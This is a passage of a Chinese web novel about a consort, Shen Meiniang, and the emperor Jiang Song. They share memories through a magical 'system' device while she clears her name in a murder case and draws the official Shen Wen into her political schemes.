他记得文昭皇后就姓宋,而陛下新纳的贵妃不就是姓沈吗? 这天底下能叫沈温如此恭敬的男人,不就只有皇帝了吗? 陆大人这才反应过来,看了眼走在前面,不理两人的宋公子。 他指着天,小声问沈温:“那位可是……” 沈温点头。 陆大人感觉全身的血都快凉了。 他、他诗文写得也不错,但在做官这件事上是真的一窍不通,是靠父辈的恩荫才得了官,又一路靠家世走到今天。 被调出京,也是他不想掺和党争,怕哪天就被牵连了。 但也没人和他说过,来了思州城,还能有这般大的风险啊? 沈温看眼前人被吓坏了的样子,安慰他:“沈夫人不是那般小气的人,她不会与你计较的。” 美娘爱恨分明,是最好的姑娘,她才不会在这种事上与人计较。 陆大人觉得这个好友也是笨,他担心的是这个吗? 他指了指天,问:“他呢?” 沈温愣了一下,眼里闪过一丝不悦,但还是道:“他也不会。” 美娘喜欢姜颂,不就是因为他虽然又蠢又幼稚,但……确实有副好心肠吗? 陆大人还想缠着沈温问姜颂的事,沈温却很显然不想继续这个问题。 沈温默默向不远处,已经又跟到沈美娘身边,为了靠近她,和一群罪犯待在一起都毫不在意的姜颂。 他垂下眼睫,眼里闪过一丝轻嘲。 就这样吧,至少他输给的是,一个真心喜欢美娘的人- 姜颂一路把沈美娘送到官府门口,与她挥手告别后,就转身离开打算去找沈美娘爹娘了。 她今日闹出这般大的动静,她爹娘听说了肯定会很难受的。 他得快些赶回去安慰他们。 沈温看姜颂要走,忙道:“公子,不与我们同去吗?” “我去不合适,既然美娘无罪,你们该如何判这案子,就如何判就是。”姜颂摇头。 沈美娘就是不想让自己的罪名是靠别人来洗清的,才一定要执着要回这里来。 他掺和这件事,倒显得美娘好像证据不足,得靠他一样。 姜颂和沈温等人道别后,就往寨子外去,路上他碰到了颜舜华。 他也没多做停留,只有礼地点点头,就继续往城外走去。 颜舜华在姜颂离开后,问脑海里的系统:“我让你兑换的道具,你兑换了吗?” “已经兑换了!等女主下次入睡,姜颂就会进入她的回忆里,还会再去姜颂的回忆里。”系统有些不解,“可是宿主为什么要这么做呢?” 颜舜华脸上洋溢着笑容:“因为我嗑女主和姜颂啊……我苦命的小情侣,让我帮帮他们好了。” 一个多时辰后,已经将过去的事全都仔细交代完,正在狱中靠着墙休息的沈美娘,隐隐约约听到奇怪的声音—— “【A级回忆镜生效中:将根据被使用者意愿,选择记忆共享点。】” 沈美娘又回到了那个夏日,不过是后面的一些事。 李洵风偷了钥匙放她跑,给了她防身的匕首和迷药,还给了她假过所。 沈美娘却没有直接逃跑,她撕下身上的一大块布料,浸透了迷药在里头。 这迷药和她下在符水里的一样,都是他们家拿来迷野兽的,一小包就能放倒一只大虫。 大抵是心里的愤怒和不甘,让埋伏在月神庙门口的沈美娘,爆发出巨大的能量,将仙师扑倒在地,把手里的布料狠狠捂在了他口鼻上。 仙师挣扎了好几下,就渐渐不动了。 沈美娘拔/出匕首,高高举起,想要扎到仙师的喉咙上—— 但在即将碰上的时候,她怀里还没吃完的肉饼掉了出来。 沈美娘的理智终于回归。 这个人不能死,他如果死了,她的清白就彻底洗不清了——就算哪日洗清了,她也依旧是杀人犯。 仙师该死,但应该等他的罪行被公之于众,受到万人唾弃后,再弃尸街头。 沈美娘手里的匕首偏了偏,最终落在了仙师下面。 她捅了好几刀,才停下动作。 这是他该受的,那些被他害死的女孩子,每个人活着的时候,都比他药醒后痛苦千百倍。 沈美娘发泄完情绪,攥紧匕首,来到了月神面前。 她仰头,看向高高在上端坐的月神,它是如此慈眉善目。 沈美娘端详许久,猛地拿起贡品就往它身上砸去。 贡品砸完,她就将铜灯往它身上砸去。 最后的最后,沈美娘看着已经变得面目模糊的月神笑了起来,又望着沈头人和那些人的尸体笑得都直不起腰。 不知过了多久,她才拿起蜡烛,点燃了和尸体一起停在庙里的“纸房子”、“纸花”、“纸元宝”…… 火越烧越大,沈美娘才满意地拿起匕首,从月神庙逃跑。 她一刻不停地逃跑,跑着跑着,她逐渐和小时候的自己重合,发觉她的六指也消失了,已经只剩下了五指。 直到撞到一个人的胸膛,沈美娘才停下来。 她仰头看到了姜颂。 姜颂也很疑惑:“美娘,这是你的梦吗?我刚才从小时候的你从狱里跑出来开始,就喊了你好多声,你都没有理我。” 沈美娘就像在这之前,都看不见他一样。 沈美娘也不明所以—— 类似的梦,她近来做过许多,可,这是唯一一次有姜颂的梦。 姜颂喃喃:“我怎么会做这么奇怪的梦,都是我胡思乱想的吧……啊,美娘你捏我做什么。” “不是。”沈美娘手上感受 到真实的触感,终于确定这不是梦。 至少不是简单的梦。 她不相信鬼神之说,那这种奇怪的事——难不成是那个叫颜舜华的? “叶先生,父皇,是不是,不喜欢我啊。” 就在两人还不确定到底是什么情况时,两人身前的宫道上有一大一小两个人牵着手走着。 沈美娘只需要一眼,就确定那个“小的”是姜颂。 她拉着姜颂跟了上去。 小时候的姜颂和现在就很像了,不过眼睛还要更干净些。 他眨了眨眼,可能是希望老师能给他一个好的回答。 年轻的叶丞相,弯下腰揉了揉姜颂的头,温柔道:“怎么会呢?太子殿下聪明过人,陛下最疼您了。” “我不聪明,父皇说了,我蠢死了,根本就不像他儿子。”小姜颂低下头,“叶先生,我不想做他的儿子,他只会骂我。” 沈美娘看着小姜颂肉乎乎的脸。 姜颂他爹也是个厉害的,这么可爱的儿子他都舍得骂。 但听到接下来姜颂的话,沈美娘差点没笑出声。 小姜颂很认真道:“叶先生,你能不能做我爹爹……” “殿下慎言。”叶先生连忙捂住小姜颂的嘴。 沈美娘也在旁边捂嘴偷笑,她凑到姜颂耳边道:“你小时候这么‘孝顺’?” 姜颂红了耳朵:“小时候不懂事嘛,你不许笑!” “我不笑、我不笑。”沈美娘连连摆手认错。 沈美娘确实很快就笑不出来了。 小姜颂每天都子时睡、卯时起——小时候常常睡到大中午才醒的沈美娘,着实被他吓到了。 他每日几乎只要醒着,除了吃饭就是读书。 小姜颂好像只有在翻看诗词类的书时,才会面露放松之色。 沈美娘问身边的姜颂:“你小时候真这样?” 姜颂看着眼前的小孩,点了点头。 “嘶——”沈美娘倒吸一口凉气。 难怪小姜颂前面说话那般“孝顺”,他爹确实是把他当仇人在整。 小姜颂手里拿着新写的策论,说什么都不愿意进紫宸殿去:“叶先生,我不想见父皇。” “殿下,说了多少次,您应该自称‘孤’。”叶先生替小姜颂正了正衣冠,“殿下这次的文章写得很好,陛下不会责备您的。” 小姜颂被叶先生推了一把,才拿着文章进了殿。 沈美娘看到坐在上方的先帝,终于明白姜颂是在宫外被认回宫里的,但却从来没人怀疑他血脉的原因了。 姜颂和先帝长得有七八分像,除了一双眼睛不一样外,其余地方就是一个模子里出来的。 先帝看了姜颂的策论,从头到尾脸上都没什么表情变化。 老实说,先帝才符合沈美娘小时候听传奇时对皇帝的想象。 姜颂和他爹一比,简直就跟不知道从哪里来的冒牌皇帝一样。 半晌,先帝把策论放下,吐出两个字:“尚可。” 小姜颂肉眼可见地松了口气。 但下一刻,先帝又道:“你年纪不小了,朕想给你相看门婚事,左仆射家的长女是个好性子的,朕打算给你定下来。” “我不要。”小姜颂下意识道。 沈美娘感觉整个殿内都因为他这句话沉默下来。 殿内侍奉的宫人们,忙不迭跪在地上。 小姜颂眼里有害怕,但他还是跪下坚持道:“回父皇的话,儿臣不愿意。” 沈美娘捅了下身边的姜颂,调侃他:“你从小就这么勇啊?” 姜颂强调道:“这是原则问题,谁要包办婚姻?” 他要是真古人,兴许就认了——可他又不是。 在漫长的沉默后,先帝才开口,道:“小小年纪,别的不会,顶嘴倒快。” “你爱跪就跪着,跪到你想通为止。”先帝起身拂袖离开。 沈美娘见状,心里很不赞同姜颂他爹的育儿方法。 这哪里是教小孩子啊,简直就是熬鹰。 沈美娘软了几分语气,问身边的人:“你当时跪了多久?” “不知道。”姜颂垂下眼睫,“后来好像跪晕过去了,醒来被我父皇罚抄了五遍《孝经》,还被禁足了一个月。” 沈美娘听到这个话,心里对姜颂又多了几分怜悯,但又总觉得他爹和他小时候的相处透着股奇怪劲儿。 她觉得继续和姜颂看他小时候受虐的样子,两个人心里都不好受,沈美娘就拉着姜颂从殿内出来了。 两人绕了绕路,却在紫宸殿的后殿听到一阵猛咳声。 可以说是咳得撕心裂肺。 沈美娘拉着姜颂往声音的源头走去,就看到后殿里,先帝扶在桌上,站都站不稳的样子。 “陛下,您何必这样呢?太子殿下,又不是愚笨之人,您这样,您难受,殿下也难受。”叶先生道。 先帝又咳了好几声,手帕上都见了血。 他喝了药,平静几分后,才道:“叶卿,你又不是不知道,朕根本就活不了几年了。” 叶先生:“臣明白,陛下是想让太子多些明辨是非的能力,最好再有位可以暂时借力的岳丈……您何不好好和殿下说清楚呢?” “连朕的几句话都承受不了,连罚跪都受不住,日后,还指望他把这山河社稷给挑起来?”先帝冷声道。 他闭了闭眼:“朕如果也能活到花甲之年,他现在想怎么玩就怎么玩。就算他捅出天大的篓子,朕也能给他收拾,但……” 沈美娘看姜颂也一副意外的神色。 她小声问:“你以前不知道?” 姜颂摇头,失神道:“我从前真的以为他很讨厌我。” 即使是父皇病逝那晚,他也只是和他交代朝中大事,反复和他说刚即位不要急着改弦更张,做任何事都要徐徐图之。 姜颂一直以为,他父皇只是只有他一个继承人,才迫不得已重视他,最多就还有一点因母亲而来的爱屋及乌。 沈美娘捏了捏姜颂的手:“其实你潜意识里应该早就知道了。” 见姜颂一脸不解地看她,沈美娘解释:“不正常的家庭,是养不出来正常人的。” 姜颂听到这句话轻“嗯”了一声。 小姜颂跪到第二天,天快亮的时候。 他饿了快一天一夜,跪得膝盖都快麻木了,先帝才过来看他。 先帝问小姜颂:“想通了吗?” 沈美娘看到小姜颂饿得神情恍惚,却还是坚定摇头:“我不要。” 先帝皱眉:“为什么?” “我不喜欢左仆射家的大娘子,我才不娶她。”小姜颂依旧坚持。 “那你喜欢谁?” 小姜颂恶狠狠道:“我都不喜欢!我讨厌死你们这个时代的每个人了!我永远、永远都不会喜欢你们这里的任何人!” 沈美娘听到这句话,看向身边的姜颂,挑眉问:“你以前真这么说的?” 姜颂摇头又点头,解释道:“我小时候又不知道会遇到你。” 要不然,他当时就说他喜欢沈美娘了。 那样的话,美娘就能少吃好多好多苦,多享好多好多福了。 第65章 第65章有人在查案,有人在煮饭…… 第六十五章 梦境如烟般消散,沈美娘眨了眨眼,才发觉周匝还是狱中湿冷的环境。 天还是亮着的,和沈美娘刚才睡着前并无差别。 但沈美娘很确定刚才的一切不是梦境,至少不是简单的梦境。 这事肯定和那个好像是姜颂老乡的颜舜华离不开。 沈美娘原本想躺下睡会儿,却听到隔壁牢房传来的声音:“美娘,你原谅我了吗 ?” 她听出来了这是丽娘的声音。 沈美娘起身,走到靠近隔壁牢房的边角,道:“没有。” 没有人能替十二岁的她原谅任何人,即使是现在的她也不可以。 冉丽娘愣了好一会儿,才继续道:“美娘,我对不起你,你恨我也是应当的。” “我已经不恨你了。”沈美娘望着墙上的蛛丝。 她好像回到了当年被诬陷,被族人关起来,等待第二日动用私刑处置的那个夜晚。 唯一不同的是,她在外漂泊七年有余,心绪和从前已然不同。 沈美娘道:“我不会原谅你,但我也不恨你。人生太短了,我的时间只会花在见识这广阔天地,和爱值得我爱的人身上。” 叶司马、李守义、冉丽娘、仙师、“沈温”……他们都是沈美娘迟早要除去或是报复的人,但她确实也不恨他们。 她从小好像就在恨人这件事上不太擅长。 小时候是因为她听七娘的话,想要做个善人,长大以后则是觉得没必要。 爱人需要时时记挂在心上,恨一个人也是。 沈美娘要留更多的地方来爱人,至于碍着她路、和她有仇的人,她只要静待时机,报复回去就是了——何必要去恨他们? “丽娘,你知道吗?我去了你说过的地方了。”沈美娘眼里浮起清浅的笑意,“我逃灾的时候,路过了荆楚之地,你说错了,楚地已经没有云梦泽了。” “那里只剩下小小的湖泊了,星罗棋布,太阳出来时,光就洒在湖面上,和蜀锦一样,亮闪闪的。”沈美娘道。 她回忆完从前见过的美景,道:“我感谢你小时候给我讲云梦泽,念中原的诗歌给我听。” 在沈美娘小时候天生六指,没有先生愿意教她读书识字时,冉丽娘是唯一一个愿意和她说这些的人。 “丽娘,你诬陷我,也会受到你该受的惩罚。”沈美娘的眼底结了一层寒霜,“你以为我给你的惩罚是你即将面临的刑罚,但……” “这只是最微不足道的,比起肉/体上的痛楚,你的魂灵会受到更大的痛苦。你永远都只能被困在这重重山岭间,而你曾期待的人间风光,你这辈子都看不到了。”沈美娘道。 在冉丽娘选择缄默的那一刻,她就注定只能和深山里绝大部分人一样,继续被桎梏在这里。 但沈美娘和她不一样。 沈美娘走出去了,她见识到了冉丽娘永远都没机会见识的天地。 “美娘……”冉丽娘闻言喃喃,却什么多的话都说不出来。 沈美娘不再说话,想躺回床上继续睡觉。 这几日她忙着策划这一切,已经好久没睡过一个好觉了。 狱卒却在此时来给她开门。 沈温和陆大人都站在门口,尤其是陆大人脸上堆满了讨好的笑容:“沈夫人,您哪里能在这里躺着呢?这案子已经确定和您没关系了,还请您与我去厢房休息。” 沈美娘轻笑:“那便多谢陆大人了。” 陆大人:“不敢不敢,都是沈大人的功劳。” 沈美娘看了眼沉默不语的沈温,他眼下淤青明显,可知他从思州城一路赶来的辛苦。 她道:“沈大人辛苦。” 沈温摇头,多看了她一眼:“不敢,能为您做事,是臣的福气。” 陆大人察觉出两人之间气氛微妙,但也说不上究竟何处不对。 去厢房的路上,沈美娘问起了陆大人审问的进程,陆大人吞吞吐吐不大愿意说。 沈温却全都交代了:“沈头人的尸体,我等已经命仵作查验过了,确实如您所说并非中毒而亡。至于被卖至南州过的证人也已经接来了,按您交代的,她身体不好,也让她住在这厢房里等明日再审。” 陆大人看沈温说这么细,给他使了个眼神——这要是陛下问起当然得一一交代,可沈美娘一个后宫的妃子,这些话哪里需要和她说。 况且,就算是说了,她一介妇人,她能听懂什么? 沈美娘点了点头,又问:“仙师呢?他可认罪?” “他把那些仙丹是如何通过商人卖予高官、巨贾都一一交代了,待过几日我会让他写一份名单出来。至于被他买卖的妇人,我会尽快命人去寻。”沈温说到此处顿了顿,“但有一事,他没认罪。” 沈美娘抬眼看过去。 “他说当年月神庙那些人不是他杀的,他说,他当真以为是你下了毒,杀人潜逃了。”沈温道。 陆大人在旁边捧道:“肯定是那厮说谎,本朝律法仁慈,以他现在的罪,最多也就是判他个绞刑……可若是那十几人是他杀的,定会判他个身首异处。” 这个仙师虽害死了许多人,但说到底都是些底层人,其中许多都只是小小贱民。 贱民无足轻重,死了就死了。 可那在月神庙里死了的沈头人,不仅是这十八寨子里最大寨子的前任寨老,还是这十八寨子整个族人的前族长。 那可是这里从前最德高望重的人。 仙师把他给杀了,逃不了依《大燕律》和《圣明律疏》判罪的斩刑不说,等他死了,这里的族人还肯定会把他的尸体挫骨扬灰的。 沈温也没反驳陆大人这话。 他也认为仙师别的罪也算不得什么大罪,只有杀沈头人算是有些过了。 再说,沈温对真相不感兴趣,他只想要能让伤害过沈美娘的人去死就好。 沈美娘听到这里不置可否,先问了另一个问题:“仙师的那些弟子们是怎么说的?” “他们都说不知此事,仙师从来不让他们随意走动,更别说和他们说这些事了。”陆大人道。 沈美娘问:“李振鹤呢?” “他也说不知。” “动刑呢?” “上刑了,他还是说不知。” 沈美娘听到陆大人的回话,垂眸深思了许久,肯定道:“那些人不是仙师杀的,是李振鹤。” “明日再稍微审审李振鹤,他要是再不招,就把他先放了,还有其他仙师的徒弟也都放了。”沈美娘道。 陆大人还没反应过来,沈温却已经明白沈美娘的意思了:“是,臣马上就去办,臣会派人把他们每个人都盯紧的。” 沈美娘应了声。 她瞧了眼沈温,心里也明白这人为何在谢党里升得快了。 他这个人没什么心肝,但倒是很会体察上司的心思。 几人终于走到厢房前,陆大人语气谦恭:“沈夫人,此处简陋寒微,还请您将就住一晚。” 沈美娘点头:“多谢两位大人了。” 另一边的姜颂也悠悠转醒,他睁开眼,就看到沈美娘爹娘就站在他床前看他。 沈七娘看他转醒,看向沈文:“看吧,我就说没事。” 她压低声音道:“他是爬坡爬累了吗?怎么快到咱家了,却在家门口睡着了。” 这人之前看着勉强还像是个有一把力气的,结果现在走个几步路就倒头大睡——这样的男人,哪里能照顾好他们美娘。 姜颂彻底清醒后,忙起床站得直直的,紧张道:“请七娘、沈伯见谅,我刚才是有些头昏。” 沈七娘嫌弃归嫌弃,闻言却还是皱眉道:“身子不适吗?等会儿沈文你去给他抓点药。” “我没事……我就是突然头昏,歇一会儿就好了。”姜颂哪里敢劳烦二老,忙不迭拒绝。 沈七娘盯了他一会儿,看他确实不像是有病的样子,就问:“美娘呢?” 姜颂把路上早就编好的说词讲出来:“幼安最近接了个大案子,去验了尸,回来难受得吃不下饭,就想让美娘给她做几顿饭,陪她睡几天觉。” 美娘应该就在大狱里蹲个一两天就会出来,他编的这个谎,肯定没问题的。 沈七娘像是信了这话:“这个幼安,小时候胆子就小,干干净净一女子,偏要去做仵作的脏活……算了算了,既然如此,那你来做什么?” “美娘原本这些日子,每天都回来用饭,她怕她突然不来,二老担心她。”姜颂笑了笑。 沈七娘“哼”了一声不再说话。 她转身出去择菜,姜颂也跟着她去。 姜颂拿过她手里的菜盆,对她笑道:“七娘,您去歇歇吧……沈伯您也别劈柴,我把菜择了就来劈。” 沈七娘看他这样,指了指厨房,又道:“等会儿把饭也煮了。” “嗯!您二老好好休息,等全都弄好了,我会喊您们来吃的。”姜颂道。 沈七娘也不客气,还把在劈柴的沈文 拉起来。 两人就靠在门边看姜颂勤劳的样子。 沈文小声道:“你何必为难这孩子呢?我瞧他也是个富户家出来的,那双手娇生惯养的样子,一看就不是寻常人家。” “那这些活,你以后要叫美娘干吗?”沈七娘质问。 沈文闭了嘴。 他当然也舍不得女儿干活。 沈七娘望着动作还算干净利落的少年,道:“从小我和你不也是一点活儿都舍不得让美娘干?她那双手和官家小姐都差不多……我可舍不得。” 这孩子不差,但她的美娘更好…… 就是便宜这傻小子了,也不知道他上辈子积了什么德,能得到她家美娘的青眼。 姜颂不知道沈七娘和沈文的对话,他只是择完菜,就又去劈柴了。 他还想着等会儿该做点美娘爱吃的给她送去。 西南入了秋湿冷,大牢里肯定更甚,他还得再做点祛寒的去。 第66章 第66章月色真好。 沈美娘打发走沈温和陆大人就躺床上睡觉去了,但等入了夜,她睡够了就又醒了过来。 今儿是十五,窗外的月亮格外圆,沈美娘望着一直铺到她脚边的月光,托腮沉思。 难怪姜颂家乡那边那个叫“李白”的诗人,要说“床前明月光,疑是地上霜。” 真的就像是铺了一层霜,有些恍惚的沈美娘,还觉得这月光有些颗粒感。 她听到有人敲门的声音,她打开门,就看到一个大大的食盒出现在眼前。 姜颂的头从旁边探出,笑道:“你是不是饿呢?我给你做了点吃的,你尝尝?” 还有些没彻底睡醒的沈美娘捂了捂肚子,才发觉她确实有些饿了。 姜颂体贴道:“我做的口味清淡,吃了不会长胖的。” 他知道沈美娘最在意自己的形体外貌,也担心她吃了睡不着,做的一点也不油腻。 沈美娘听到这句话,又盯着那食盒看了好一会儿,才道:“好吧,那我就吃一点。” 姜颂立刻将食盒打开,把里面的菜摆到桌上:“都是你喜欢吃的,还有这个……” 姜颂把羊肉汤放到桌上,有些不好意思地挠头:“我以为你会住牢里,牢里湿寒,就给你做了羊肉汤。” 姜颂给她盛了汤,沈美娘接过,尝了一口,就很捧场道:“很好喝,感觉全身都暖洋洋的。” “你不吃吗?”沈美娘疑惑道。 姜颂摇头,他撑着下巴看她:“我吃过了。” 他看到沈美娘吃东西,尤其是吃他做的东西,就很高兴。 沈美娘边吃,边问姜颂:“我今天在狱里做了梦……” 姜颂听沈美娘说完她做的梦,惊得嘴都合不拢——原来他不是在做梦啊。 沈美娘看姜颂的反应,愈发确定白日的不是梦,而是两人当真一起进入了彼此的回忆里。 姜颂不解:“怎会这般呢?” 沈美娘认为这事肯定和那个古怪的颜舜华有关,但她如今还不清楚那人底细,她也不知道那人的本事究竟有多厉害…… “兴许是当真有神灵呢?”沈美娘开玩笑道,“再说,你娘都可以穿越,那发生点别的奇怪事,不是也可以理解吗?” 姜颂也相信了沈美娘这套说词。 “对了……”沈美娘更关注另一件事,“梦里,我看先帝身体不大好,宋江江,你还记得先帝身体大概是哪段日子开始不好的吗?” 姜颂仔细想了想,道:“我父皇对外称病,命我监国时,我都已经十三岁了。但昨日梦里,他好似是在我九岁时就已经病得很严重了。” 那就对了。 那时间就能和“沈温”父亲祝羽“谋反”的时间大致对上了。 沈美娘心里关于“沈温”的许多疑惑终于迎刃而解。 姜颂疑惑问:“美娘,你问这个做什么?” 沈美娘轻笑:“是有很重要的作用,过些日子你就明白了。” 姜颂看沈美娘不愿意说,也没追问,只让她先好好吃饭,别让菜凉了。 沈美娘吃东西很快,姜颂知道她吃不了多少,给她做的东西量也很适中,除了剩了点羊肉汤外,别的都正好被吃完。 姜颂给沈美娘递手帕,一脸得意:“我知道不要浪费了,你看我这次做的菜就不多不少。” 沈美娘看姜颂一脸“求夸奖”的样子,擦了擦嘴道:“宋江江,你真厉害。” 虽然沈美娘就是简单夸一句,但姜颂听到这句话格外开心。 沈美娘看他这样给点甜头就乐开花的样子,故意亲了亲他的脸,又道:“多谢夫君啦。” 姜颂听到沈美娘对他的称呼,又被她亲了一下,脸立刻就红了:“不用,是我应该给夫人做的……” 沈美娘看姜颂这样,觉得他进步很大——虽然还是很容易脸红,但不至于会接不住她的话。 姜颂又问了沈美娘明日想吃什么,说他给她送来。 沈美娘摇头:“你跑来跑去多累啊……” “不累。”姜颂难得打断她的话,“我这次帮不上你什么忙,能够给你做饭就很好了,看你吃得好,睡得好,我就很开心。” 姜颂话说到这个份儿上,沈美娘哪里还有拒绝他的道理。 吃完东西,沈美娘坐在窗边赏月,姜颂也安静陪着她。 “赏月是件很浪漫的事。”沈美娘仰起头,月光洒在她的眼里,“即使天各一方,也能看同一轮明月。” 姜颂点头:“是,我也喜欢看月亮。我们看过的月亮,千百年后的人依旧可以看到,世上恐怕没有比这更浪漫的事了。” 沈美娘“嗯”了一声。 月色太好,沈美娘不想浪费,她起身摘下一片树叶,放到唇间吹奏。 虽然听过沈美娘说过无数次“以叶为媒”,但直到沈美娘用木叶吹起歌曲,姜颂才确信木叶竟也能吹出动人的声音。 木叶声缠绵,哀而不伤,还带着几分悠然意味。 沈美娘还是更喜欢跳舞,吹着吹着,她就忍不住随着乐声又跳起舞来。 姜颂的目光始终落在她身上。 直到吹完最后一个音,沈美娘将手里的木叶丢下,揽住姜颂吻了上去。 吻完姜颂,她才在他耳边,轻喘气道:“宋江江,你不会吹情歌也没关系,我来吹就好。” 她的指尖摩挲着姜颂身手腕处的刺青,握着他的手撩拨开她的衣裳,露出她肩颈处那个相似的刺青。 “我会学的。”姜颂坚持道。 十八寨子别的小娘子有的,他的美娘也必须有。 沈美娘轻笑,没打击他的信心,贴在他耳边问:“好,我等你……那别的呢?江江,别的该学的,有进步了吗?” 姜颂耳尖红得能滴血,在月光的映衬下格外明显。 他没有回答沈美娘的话,只用力吻上沈美娘,不许她再说这种故意捉弄他的话了。 姜颂选择用实际行动回答沈美娘的这个问题。 月光照着的另一边,沈温刚把今日审问出来的所有东西汇总完。 这寨子的官府很少来这么多大官,厢房不太够他们一行人住。 被迫和沈温挤一个屋子的陆大人,睡了一觉,醒来看沈温还点着灯,着实吓了一跳。 他凑过去看,发现沈温还在翻阅当年给沈美娘定罪的卷宗,叹了口气:“却寒,我是真佩服你,难怪你这官能升得这般快。” 这案子事关沈贵妃,办好了,那确实是在陛下面前露脸了。 可是这再上心,也不该是沈温这种上心法啊。 不知道的,还以为沈温这是在给自己妻子翻案…… 陆大人想到这里,突然想到之前听过关于沈贵妃的出身,还有白日所见沈温与沈贵妃之间的关系。 他像是想到了什么,吓得脸色都白了。 沈温听了陆大人的话,才回过神来,看了眼夜色,问:“几更呢?” “三更了,你再不睡,也不用睡了。”陆大人神色复杂地盯着沈温。 沈温道:“沈夫人下午和晚上都没吃东西,可有派人去问过?” “不用咱们去,公子刚入夜就给夫人送饭食 来了。“陆大人道。 沈温:“我怎么不知?” 陆大人看沈温这样,更确信他的猜测:“你那时候还在审犯人,你忘了吗?” 沈温有些错愕地点头,却也没再说什么。 陆大人面色如常地又打趣了沈温几句,就去睡了。 他可不能让沈温看出来他察觉出什么东西了。 沈温这人的诗风柔婉清丽,但做人、做官那可不是一般狠辣。 陆大人也不觉得两人的关系好到,沈温不会对他痛下杀手。 沈温则将卷宗合上,握着笔的手忍不住又用力许多。 许久后,他才平静下来,继续翻看。 沈温一晚上都没睡多久,第二日他出来去找沈美娘时,正好碰到提着食盒离开的姜颂。 他恭敬道:“公子,昨夜休息得可好,有不便之处尽可与臣说。” 姜颂原本不太想理沈温的,但他想了想,还是道:“床太硬了,你们怎么给美娘睡这种床,你记得让人多铺几层被子。” 姜颂说者无心,沈温听着却觉得姜颂这话像是故意炫耀。 沈温却还是只能道:“是,臣会吩咐人立刻去办。” 姜颂这才点了点头,还道:“早饭我已经借这儿的炉灶,给美娘做了吃了,后面午饭、晚饭我也都会给她做了送来,你们不必操心她的饭菜。” 沈温点头。 他看着姜颂拎着食盒欢喜离开的样子,眼里的嫉妒却淡了几分。 他没想到姜颂会愿意为了沈美娘做到这份上。 圣人言“君子远庖厨”,沈温当年逃灾时都没自己动手煮过吃的,现在更不可能给人做吃的。 可是姜颂竟然会愿意为沈美娘做这种事。 沈美娘梳洗好,看沈温伫在门前,问:“沈大人,你来做什么?” 沈温这才回过神:“原是想来问夫人可要用早饭,却听公子说夫人已经用了。” 原来沈温是撞上姜颂了。 沈美娘就说这人怎么看起来不高兴。 “沈大人为我的事忙前忙后辛苦了。”沈美娘宽慰了两句沈温,“你今日再审审仙师的那些徒弟,若是没事,就先把人放了,派人悄悄盯着就是。” 沈温应下就想离开,沈美娘却又多问了一句:“沈温,你一路爬到现在,你想要的到底是什么?” “你最好别说些假话,你知道的,我不好骗。”沈美娘提醒道。 沈温沉默片刻,才道:“沈夫人有您想洗刷的冤屈,我当然也有我要做的事。” “你是说,祝将军根本没有谋反,是被谢阁老构陷之事吗?”沈美娘道。 沈温不可置信地看向沈美娘。 她是如何知道的? 第67章 第67章关于守寡后再婚问题讨论…… 沈美娘从得知沈温的真实身份起,一直都觉得他很奇怪。 他是罪臣之子,若他是个胆子小的,那就该占着“沈温”这个身份苟且偷生才是。 若他是个胆子大、有血性的,那他就该蛰伏为父报仇才是。 可沈美娘观察了很久沈温对姜颂的态度——怎么都不像是对杀父仇人之子的态度。 直到她从姜颂的梦境里,得知当年西南民变前一两年先帝的身体就不大好了。 先帝病重,叶党当年也远不及今日,若是忠心耿耿的蜀王再被拉了下来…… 不论谢党是继续拥立姜颂登基,还是直接暗中除掉姜颂,拥立宗室幼子登基,新帝都必须倚仗谢党。 那一切就说得通了。 “你父亲是蜀王麾下大将,与蜀王出生入死多年,我想最初谢党的目标并不是祝将军。”沈美娘语气无比确定。 沈温没有反驳沈美娘的话。 沈美娘继续道:“我猜想,谢党应该是想和祝将军合作。蜀王乃胡人,蛮夷也,谢党人自诩清贵,可看不上他那种人。祝将军就不一样了,益州祝氏,可是蜀中一等一的好门第,更别说祝将军的夫人,也是出身于清河崔氏最显赫的一房。” “我猜,谢阁老当年肯定和祝将军说——‘将军世之盛族出身,如何能久居蛮夷之下,不如与我联手,将其诛之。’”沈美娘道。 沈温的眼里闪过惊愕,但还是默认了沈美娘的话。 沈美娘道:“后面的事就很简单了,祝将军不仅没有答应谢阁老的话,他还打算将此事告知蜀王,上达先帝。” “于是,谢阁老只能先下手为强,将祝将军除之而后快。” 沈温回忆起旧事,眼里是无比浓烈的恨意:“你说的,一字不差。” 沈温终于撕下他装出来的那副“温和”模样,警惕地盯着沈美娘:“你是如何猜到的?” “这个说来话长……”沈美娘挑眉:“我以前一直想不通你为何要把我献给叶司马。” 如果只是为了向上爬,沈温大可以把她带到京城,送给京城那些更厉害的大官们,而不是一个小小司马。 “我也想过兴许是你太蠢,又或许这是你当时最好的选择——可若是如此,你为何如今要屡屡帮我?”沈美娘反问。 更何况,这次他跟着姜颂来西南,他原本可以皇帝和谢阁老两头吃,却偏偏还是选择了帮她。 沈温愣了一下,面不改色道:“您如今是贵妃,若将来您能诞下皇长子,兴许臣也能和叶丞相一样,混个帝师的名头。” “是吗?”沈美娘轻笑,“兴许,还有一种可能。” “那年知贡举的是谢阁老,你去上京应试,从一开始就是为了借投卷,亦或是及第后的曲江会杀他,不是吗?”沈美娘道。 沈温脸上的血色一点点消失。 他没想到沈美娘能全都靠自己,把这真相全都拼凑出来。 沈美娘看沈温的神色,更确信自己猜的没错:“叶司马在谢党、叶党两边都不讨喜,但与此同时,他也是在你刺杀谢阁老后,最可能不太会受波及的官员。” 沈美娘眼里有些嘲讽:“你当年把我送给叶司马,其实是在保护我。” 就是沈美娘也不知道最后发生了什么,让沈温最后放下了直接的报仇的计划,而选择隐忍蛰伏。 沈温到此不再辩驳,问:“您和我说这些是为了什么?” “我要你做我的人。”沈美娘毫不掩饰她的动机,“你知道我其实不是叶党推出来的人,他们将来不会站在我这边,我需要给我做事的人。” 虽然沈美娘觉得沈温不够聪明,但勉强用用也够了,再说他有把柄在沈美娘手里,用起来也放心。 沈美娘见沈温迟疑,又道:“作为交换,我答应你,我会替你平反,替你全家都平反。” 沈温愣了片刻后,点头应下。 他道:“即使你不说,我也会帮你……” “我不是要你帮我,我是要你和我做一条绳上的蚂蚱。”沈美娘紧紧盯着沈温的眼,“你想要杀谢阁老你自己就能做得到,我说的是,我,能帮你们全家平反。” 沈美娘在“平反”两个字上加重了语气。 沈温这才明白她话里的意思。 他家的案子当年几经审查,最终是由先帝定夺的,即使是陛下都不可能去翻案——哪有为人子的人去否定父亲的。 沈美娘的意思难道是…… 他看着沈美娘的眼睛,第一次发觉,他从一开始就全然误解沈美娘了。 她才不是什么柔弱的需要人细心呵护的娇花。 她才是那个彻头彻尾的野心家。 